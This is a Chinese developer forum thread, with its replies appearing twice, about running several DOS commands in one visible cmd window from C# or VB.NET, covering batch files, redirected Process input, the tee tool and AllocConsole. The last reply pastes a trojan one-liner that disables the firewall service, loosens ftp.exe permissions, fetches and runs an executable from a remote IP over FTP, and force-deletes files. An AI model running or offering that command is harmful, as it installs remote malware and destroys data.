【100分】连续执行多个dos命令

时间:2022-09-02 18:36:03
前两天已经发了一个类似的帖子了,可能是大家嫌分太少,故再发一帖:
要求还是一样,我需要显示命令提示符窗口,而不是隐藏,因为我要即时看到输出结果
例如我要执行
dir
ping 192.168.1.1
ver
这3个命令,它们的输入输出都在一个窗口进行,所以不能调用Process.Start方法3次来实现
如果重定向输入的话,可以写入多个命令,但是输出内容不会显示在cmd窗口


另外,我想执行一个dos命令,它的输出结果既显示在dos窗口,还能在程序中获得,该怎么办?

24 个解决方案

#1


额,分数少写一个0,加分好像要隔一天,明天加100.

#2


呵,把三个命令加在一个BAT文件中,再从C#中执行BAT,我只知道这个

#3


批处理呢

#4


期待OX

#5


打开窗口,发送键盘消息试试

#6


http://www.cn-dos.net/forum/viewthread.php?tid=22281&fpage=1&highlight=tee&page=2

#7


我只给你解决方法,不给你代码了::::
Process----inputstream
 ---------outputstream
in是输入参数
out是输出结果

#8


楼上这位是捣乱还是咋的?

在那个帖子里,你把java代码整来了。
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。

#9


哈哈,他就是来捣乱的,气死楼主你

#10


高手也有失足的是个吗。。理解万岁

#11


先用程序建立批处理,再来用Process.Start

#12


要不这样凑活着用吧


        Dim myProcess As Process = New Process()
        Dim s As String
        myProcess.StartInfo.FileName = "cmd.exe"
        myProcess.StartInfo.UseShellExecute = False
        myProcess.StartInfo.CreateNoWindow = True
        myProcess.StartInfo.RedirectStandardInput = True
        myProcess.StartInfo.RedirectStandardOutput = True
        myProcess.StartInfo.RedirectStandardError = True
        myProcess.Start()
        Dim sIn As StreamWriter = myProcess.StandardInput
        sIn.AutoFlush = True

        Dim sOut As StreamReader = myProcess.StandardOutput
        Dim sErr As StreamReader = myProcess.StandardError

        sIn.Write("dir" & System.Environment.NewLine)
        sIn.Write("ping 127.0.0.1" & System.Environment.NewLine)
        sIn.Write("ver" & System.Environment.NewLine)

        sIn.Write("exit" & System.Environment.NewLine)
        s = sOut.ReadToEnd()

        If Not myProcess.HasExited Then
            myProcess.Kill()
        End If

        MessageBox.Show("The 'dir' command window was closed at: " & myProcess.ExitTime & "." & System.Environment.NewLine & "Exit Code: " & myProcess.ExitCode)

        sIn.Close()
        sOut.Close()
        sErr.Close()
        myProcess.Close()
        MessageBox.Show(s)

#13


            Process p = new Process();
            p.StartInfo = new ProcessStartInfo("CMD");
            
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.UseShellExecute = false;
            p.Start();
          
            p.StandardInput.WriteLine("dir");
            p.StandardInput.WriteLine("dir");
            p.StandardInput.WriteLine("exit");
            String s = p.StandardOutput.ReadToEnd();

我试了了可行,但是不能把它输出到终端上。。。。。-_-可转到文件中或显示在form里

#14


是的,放到终端比较麻烦,可能要SendMessage来试试,能凑合就这样好了,放到终端也没什么意义,不知道你是什么用

#15


批处理就可以了

#16


引用 8 楼 CsToD 的回复:
楼上这位是捣乱还是咋的? 

在那个帖子里,你把java代码整来了。 
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。 


你从哪里看出java代码来了,我又不认识,捣你蛋,我吃饱了撑了,页面斗大的 中国DOS联盟" 你看不见?

『第 17 楼』:  

Re acoreq 『第 16 楼』: 

  终于把你的意图完整地表达出来了,这个过程还真有点折磨人啊。

  其实你可以多次使用形如 echo & echo>>filename.txt 的语句来在屏幕显示和输出到文件中去,要是在最后才来一次性地生成屏幕上显示的内容的话,在很多情况下是无法用命令来做到的,只能用最笨的标记的方法来完成,因为一个批处理中,上下语句往往是有前后关系的,后一句可能把前一句的变量给改变了。 

他的意思就是执行两次,后面一次存文件,dos 命令 echo 是干嘛的,你可以去查查看,显示信息的,那这里就举个例子,echo & echo>>filename.txt 结果是文件里显示echo 状态开的文字

   不过,如果你自命是一个很爱钻研(较真的同义词)的批处理设计者,因此对以上的方案都抱有某种不满(比如第三方案中的临时日志文件),我们就需要寻找更合适的方案。

      首先,我会想到一个名为 tee (很古怪的名字)的 Unix 工具,它是将标准输出的文本输出到控制台的同时输出到文件中(其中未涉及重定向的概念,但本质上是类似的机制)的标准工具,我们可以很轻易的获得这个工具的DOS或者Windows移植版[1]。

      它的用法很简单,在[2]中曾有提及

dir | tee cmd.log
cd | tee --append cmd.log


tee 是一个dos下也有版本的工具!

这个帖子19楼下面给出一个链接你看过没有
[2][求助]如何实现既在屏幕上显示执行结果又可以把结果保存到
http://www.cn-dos.net/forum/viewthread.php?tid=21531

『第 3 楼』:  

功能说明:读取标准输入的数据,并将其内容输出成文件。 
  语   法:tee [-ai][--help][--version][文件…] 
  补充说明: tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。我们可利用tee把管道导入的数据存成文件,甚至一次保存数份文件。 
  参   数:-a 附加到既有文件的后面,而非覆盖它。如果给予tee指令的文件名称已经存在,预设会覆盖该文件的内容。加上此参数后,数据会新增在该文件内容的最后面,而不会删除原先之内容。 
       -i 忽略中断信号 
       --help 在线帮助 
       --version 显示版本信息 
  范   例: 
  列出文本文件slayers.story的内容,同时复制3份副本,文件名称分别为ss-copy1、ss-copy2、ss-copy3: 
  $ cat slayers.story |tee ss-copy1 ss-copy2 ss-copy3 
     范   例什么意思不懂吗?tee有unix和dos2个版本[
而且人家也给出了dos的范   例!:
dir | tee cmd.log
意思就是dir显示出来而且利用这个工具吧结果输出到cmd.log文件里去!
直接用要执行的dos命令 dos管道|后加tee 文件名,很简单

/color]

[color=#FF0000]『第 4 楼』:  




  Quote: 
Originally posted by zhaxi at 2006-6-28 12:47 PM:
功能说明:读取标准输入的数据,并将其内容输出成文件。 
  语   法:tee [-ai][--help][--version][文件…] 
  补充说明:tee指令会从标准输入设备 ...  
 


那些网站中是没有这个软件的。DOS版的TEE见附件: 


附件 1:  TEE.EXE (2006-6-28 13:33, 62.5 K, 下载附件所需积分 1 点 ,下载次数: 127)  

 
人家都给出dos版本的链接了,至于能不能下,我没试过,别问我!


你如果不想用第三方写的外部命令tee.com

直接用一开始说的方法,缺点是执行两次!,只对读类型的命名好用

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace WindowsApplication62
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();

            String S = "/k \"dir c:\\ & dir c:\\ > c:\\log.txt  & ping 192.168.1.1 & ping 192.168.1.1 >> c:\\log.txt & ver & ver >> c:\\log.txt\"";
            System.Diagnostics.Process.Start("cmd.exe ", S);
        }
    }
}


你自己好好看看是不是一边显示一边都存进c:\log.txt里去了

#17


又一点说错了 & 是组合,| 才是管道

三.如何使用组合命令(Compound Command)   


1.&   


Usage:第一条命令 & 第二条命令 [& 第三条命令...]   


用这种方法可以同时执行多条命令,而不管命令是否执行成功   


Sample:   

C:\>dir z: & dir c:\Ex4rch   

The system cannot find the path specified.   

Volume in drive C has no label.   

Volume Serial Number is 0078-59FB   


Directory of c:\Ex4rch   


2002-05-14 23:51 .   

2002-05-14 23:51 ..   

2002-05-14 23:51 14 sometips.gif   

#18


引用 16 楼 wartim 的回复:
引用 8 楼 CsToD 的回复:
楼上这位是捣乱还是咋的? 

在那个帖子里,你把java代码整来了。 
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。 



你从哪里看出java代码来了,我又不认识,捣你蛋,我吃饱了撑了,页面斗大的 中国DOS联盟" 你看不见? 


这位兄台火气太大了吧?

你再仔细看看,我的楼上是哪位?

#19


期待OX

#20


捣你蛋的!!妈的

#21


引用 18 楼 CsToD 的回复:
引用 16 楼 wartim 的回复:
引用 8 楼 CsToD 的回复: 
楼上这位是捣乱还是咋的? 

在那个帖子里,你把java代码整来了。 
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。 


你从哪里看出java代码来了,我又不认识,捣你蛋,我吃饱了撑了,页面斗大的 中国DOS联盟" 你看不见? 




这位兄台火气太大了吧? 

你再仔细看看,我的楼上是哪位?


楼上这位是捣乱还是咋的? 

在那个帖子里,你把java代码整来了。 
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了


看错了,你应该指的是你ls那个在你以前发的帖子里写了java代码,然后在这个帖子里又发了你不满意的帖子,逻辑很复杂。。。
粗一看,是理解成说我的帖子比较容易。。楼层挨得很近。。

#22


我同意2楼的,把所有的命令写成一个批处理文件,在文件的末尾写上暂停的命令,然后使用Process.Start(fileName)执行这个批处理文件,所有的命令之后都会显示在一个doscmd中,最后的暂停命令确保doscmd窗口不会关闭。

#23


        [DllImport("Kernel32.dll")]
        static extern bool AllocConsole();

        [DllImport("Kernel32.dll")]
        static extern bool FreeConsole();


启动时先调用AllocConsole()创建主进程Console,如果程序不需要捕获命令的标准输出,创建子进程的时候只要CreateNoWindow=false,子进程的输出都会显示在主进程的console里;如果主程序需要捕获输出,那么需要自己把子进程输出用Console.WriteLine打印。最后记得结束前调用FreeConsole()释放。

#24


楼主,楼上不是有人回答了吗,用 & 符号来连接你的命令。
给你一段人家写的木马执行语句:
Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe 
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q

#1


额,分数少写一个0,加分好像要隔一天,明天加100.

#2


呵,把三个命令加在一个BAT文件中,再从C#中执行BAT,我只知道这个

#3


批处理呢

#4


期待OX

#5


打开窗口,发送键盘消息试试

#6


http://www.cn-dos.net/forum/viewthread.php?tid=22281&fpage=1&highlight=tee&page=2

#7


我只给你解决方法,不给你代码了::::
Process----inputstream
 ---------outputstream
in是输入参数
out是输出结果

#8


楼上这位是捣乱还是咋的?

在那个帖子里,你把java代码整来了。
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。

#9


哈哈,他就是来捣乱的,气死楼主你

#10


高手也有失足的是个吗。。理解万岁

#11


先用程序建立批处理,再来用Process.Start

#12


要不这样凑活着用吧


        Dim myProcess As Process = New Process()
        Dim s As String
        myProcess.StartInfo.FileName = "cmd.exe"
        myProcess.StartInfo.UseShellExecute = False
        myProcess.StartInfo.CreateNoWindow = True
        myProcess.StartInfo.RedirectStandardInput = True
        myProcess.StartInfo.RedirectStandardOutput = True
        myProcess.StartInfo.RedirectStandardError = True
        myProcess.Start()
        Dim sIn As StreamWriter = myProcess.StandardInput
        sIn.AutoFlush = True

        Dim sOut As StreamReader = myProcess.StandardOutput
        Dim sErr As StreamReader = myProcess.StandardError

        sIn.Write("dir" & System.Environment.NewLine)
        sIn.Write("ping 127.0.0.1" & System.Environment.NewLine)
        sIn.Write("ver" & System.Environment.NewLine)

        sIn.Write("exit" & System.Environment.NewLine)
        s = sOut.ReadToEnd()

        If Not myProcess.HasExited Then
            myProcess.Kill()
        End If

        MessageBox.Show("The 'dir' command window was closed at: " & myProcess.ExitTime & "." & System.Environment.NewLine & "Exit Code: " & myProcess.ExitCode)

        sIn.Close()
        sOut.Close()
        sErr.Close()
        myProcess.Close()
        MessageBox.Show(s)

#13


            Process p = new Process();
            p.StartInfo = new ProcessStartInfo("CMD");
            
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.UseShellExecute = false;
            p.Start();
          
            p.StandardInput.WriteLine("dir");
            p.StandardInput.WriteLine("dir");
            p.StandardInput.WriteLine("exit");
            String s = p.StandardOutput.ReadToEnd();

我试了了可行,但是不能把它输出到终端上。。。。。-_-可转到文件中或显示在form里

#14


是的,放到终端比较麻烦,可能要SendMessage来试试,能凑合就这样好了,放到终端也没什么意义,不知道你是什么用

#15


批处理就可以了

#16


引用 8 楼 CsToD 的回复:
楼上这位是捣乱还是咋的? 

在那个帖子里,你把java代码整来了。 
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。 


你从哪里看出java代码来了,我又不认识,捣你蛋,我吃饱了撑了,页面斗大的 中国DOS联盟" 你看不见?

『第 17 楼』:  

Re acoreq 『第 16 楼』: 

  终于把你的意图完整地表达出来了,这个过程还真有点折磨人啊。

  其实你可以多次使用形如 echo & echo>>filename.txt 的语句来在屏幕显示和输出到文件中去,要是在最后才来一次性地生成屏幕上显示的内容的话,在很多情况下是无法用命令来做到的,只能用最笨的标记的方法来完成,因为一个批处理中,上下语句往往是有前后关系的,后一句可能把前一句的变量给改变了。 

他的意思就是执行两次,后面一次存文件,dos 命令 echo 是干嘛的,你可以去查查看,显示信息的,那这里就举个例子,echo & echo>>filename.txt 结果是文件里显示echo 状态开的文字

   不过,如果你自命是一个很爱钻研(较真的同义词)的批处理设计者,因此对以上的方案都抱有某种不满(比如第三方案中的临时日志文件),我们就需要寻找更合适的方案。

      首先,我会想到一个名为 tee (很古怪的名字)的 Unix 工具,它是将标准输出的文本输出到控制台的同时输出到文件中(其中未涉及重定向的概念,但本质上是类似的机制)的标准工具,我们可以很轻易的获得这个工具的DOS或者Windows移植版[1]。

      它的用法很简单,在[2]中曾有提及

dir | tee cmd.log
cd | tee --append cmd.log


tee 是一个dos下也有版本的工具!

这个帖子19楼下面给出一个链接你看过没有
[2][求助]如何实现既在屏幕上显示执行结果又可以把结果保存到
http://www.cn-dos.net/forum/viewthread.php?tid=21531

『第 3 楼』:  

功能说明:读取标准输入的数据,并将其内容输出成文件。 
  语   法:tee [-ai][--help][--version][文件…] 
  补充说明: tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。我们可利用tee把管道导入的数据存成文件,甚至一次保存数份文件。 
  参   数:-a 附加到既有文件的后面,而非覆盖它。如果给予tee指令的文件名称已经存在,预设会覆盖该文件的内容。加上此参数后,数据会新增在该文件内容的最后面,而不会删除原先之内容。 
       -i 忽略中断信号 
       --help 在线帮助 
       --version 显示版本信息 
  范   例: 
  列出文本文件slayers.story的内容,同时复制3份副本,文件名称分别为ss-copy1、ss-copy2、ss-copy3: 
  $ cat slayers.story |tee ss-copy1 ss-copy2 ss-copy3 
     范   例什么意思不懂吗?tee有unix和dos2个版本[
而且人家也给出了dos的范   例!:
dir | tee cmd.log
意思就是dir显示出来而且利用这个工具吧结果输出到cmd.log文件里去!
直接用要执行的dos命令 dos管道|后加tee 文件名,很简单

/color]

[color=#FF0000]『第 4 楼』:  




  Quote: 
Originally posted by zhaxi at 2006-6-28 12:47 PM:
功能说明:读取标准输入的数据,并将其内容输出成文件。 
  语   法:tee [-ai][--help][--version][文件…] 
  补充说明:tee指令会从标准输入设备 ...  
 


那些网站中是没有这个软件的。DOS版的TEE见附件: 


附件 1:  TEE.EXE (2006-6-28 13:33, 62.5 K, 下载附件所需积分 1 点 ,下载次数: 127)  

 
人家都给出dos版本的链接了,至于能不能下,我没试过,别问我!


你如果不想用第三方写的外部命令tee.com

直接用一开始说的方法,缺点是执行两次!,只对读类型的命名好用

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace WindowsApplication62
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();

            String S = "/k \"dir c:\\ & dir c:\\ > c:\\log.txt  & ping 192.168.1.1 & ping 192.168.1.1 >> c:\\log.txt & ver & ver >> c:\\log.txt\"";
            System.Diagnostics.Process.Start("cmd.exe ", S);
        }
    }
}


你自己好好看看是不是一边显示一边都存进c:\log.txt里去了

#17


又一点说错了 & 是组合,| 才是管道

三.如何使用组合命令(Compound Command)   


1.&   


Usage:第一条命令 & 第二条命令 [& 第三条命令...]   


用这种方法可以同时执行多条命令,而不管命令是否执行成功   


Sample:   

C:\>dir z: & dir c:\Ex4rch   

The system cannot find the path specified.   

Volume in drive C has no label.   

Volume Serial Number is 0078-59FB   


Directory of c:\Ex4rch   


2002-05-14 23:51 .   

2002-05-14 23:51 ..   

2002-05-14 23:51 14 sometips.gif   

#18


引用 16 楼 wartim 的回复:
引用 8 楼 CsToD 的回复:
楼上这位是捣乱还是咋的? 

在那个帖子里,你把java代码整来了。 
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。 



你从哪里看出java代码来了,我又不认识,捣你蛋,我吃饱了撑了,页面斗大的 中国DOS联盟" 你看不见? 


这位兄台火气太大了吧?

你再仔细看看,我的楼上是哪位?

#19


期待OX

#20


捣你蛋的!!妈的

#21


引用 18 楼 CsToD 的回复:
引用 16 楼 wartim 的回复:
引用 8 楼 CsToD 的回复: 
楼上这位是捣乱还是咋的? 

在那个帖子里,你把java代码整来了。 
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。 


你从哪里看出java代码来了,我又不认识,捣你蛋,我吃饱了撑了,页面斗大的 中国DOS联盟" 你看不见? 




这位兄台火气太大了吧? 

你再仔细看看,我的楼上是哪位?


楼上这位是捣乱还是咋的? 

在那个帖子里,你把java代码整来了。 
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了


看错了,你应该指的是你ls那个在你以前发的帖子里写了java代码,然后在这个帖子里又发了你不满意的帖子,逻辑很复杂。。。
粗一看,是理解成说我的帖子比较容易。。楼层挨得很近。。

#22


我同意2楼的,把所有的命令写成一个批处理文件,在文件的末尾写上暂停的命令,然后使用Process.Start(fileName)执行这个批处理文件,所有的命令之后都会显示在一个doscmd中,最后的暂停命令确保doscmd窗口不会关闭。

#23


        [DllImport("Kernel32.dll")]
        static extern bool AllocConsole();

        [DllImport("Kernel32.dll")]
        static extern bool FreeConsole();


启动时先调用AllocConsole()创建主进程Console,如果程序不需要捕获命令的标准输出,创建子进程的时候只要CreateNoWindow=false,子进程的输出都会显示在主进程的console里;如果主程序需要捕获输出,那么需要自己把子进程输出用Console.WriteLine打印。最后记得结束前调用FreeConsole()释放。

#24


楼主,楼上不是有人回答了吗,用 & 符号来连接你的命令。
给你一段人家写的木马执行语句:
Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe 
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q